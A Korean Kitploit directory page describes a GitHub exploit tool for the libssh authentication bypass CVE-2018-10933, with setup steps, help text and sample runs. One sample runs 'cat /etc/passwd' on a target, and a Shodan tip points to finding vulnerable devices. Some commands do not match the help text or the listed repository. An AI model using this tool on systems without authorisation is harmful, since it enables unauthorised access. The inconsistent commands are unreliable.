Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2018-10933 — libSSH-Authentication-Bypass | Kitploit
도구/GitHubGitHub/rubikcuv5/cve-2018-10933
Authentication & AuthorizationVulnerability AnalysisExploitationInformation GatheringNetwork SecurityPenetration Testing
GitHubrubikcuv5/cve-2018-10933

CVE-2018-10933

libSSH-Authentication-Bypass

저장소 보기
1234년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2018-10933


libssh의 서버 측 상태 머신에서 버전 0.7.6 및 0.8.4 이전에 취약점이 발견되었습니다. 악의적인 클라이언트가 먼저 인증을 수행하지 않고 채널을 생성하여 무단 액세스가 가능했습니다.

세부 정보

이 문제는 libssh가 인증 상태를 유지하지 않는 방식과 이를 이용해 인증을 우회할 수 있는 방법에서 비롯됩니다. 기본적으로 연결을 다단계 프로세스(step1, step2, step3...)로 생각해 보십시오. libssh는 단계의 순서를 강제하지 않기 때문에 step1과 step2를 거치지 않고 step3로 바로 이동할 수 있습니다.

흥미롭게도, 동일한 문제가 SSH 라이브러리 Paramiko에서도 이전에 발견되었습니다: CVE-2018-7750.

문서

Exploit-DB : https://www.exploit-db.com/exploits/45638

libSSH의 CVE-2018-10933 정보 : https://www.libssh.org/security/advisories/CVE-2018-10933.txt

libSSH의 버그 수정 릴리스 : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/

설정

root@kitploit:~
sudo apt-get install python3

gh repo clone EmmanuelCruzL/CVE-2018-10933

pip3 install -r requirements.txt

python3 main.py

사용법

root@kitploit:~
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host

Script for the vulnerabilities CVE-2018-10933

positional arguments:
  host                  the ip or domain address of ssh server

options:
  -h, --help            show this help message and exit
  -p PORT, --port PORT  The port the service ssh, default [22]
  -log, --logfile       Logfile to write conn logs
  -t, --test            check the version of libSSH
  -c COMMAND, --command COMMAND
                        command to execute
  -i, --interactive     open the interactive mode
   

예제 POC

예제 (호스트가 취약한지 확인)

root@kitploit:~
python3 main.py  0.0.0.0 -port 22  -t

예제 (인수를 통해 명령 전송)

root@kitploit:~
python3 main.py  0.0.0.0 -p 22  -c "cat /etc/passwd"

예제 (대화형 간단 콘솔 사용)

root@kitploit:~
python3 main.py  0.0.0.0 -p 22  -l

Shodan.io libSSH

root@kitploit:~
[!] can find  devices vulnerables using shodan.io 
-  ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )

저자

  • Rubickcuv
도구 다운로드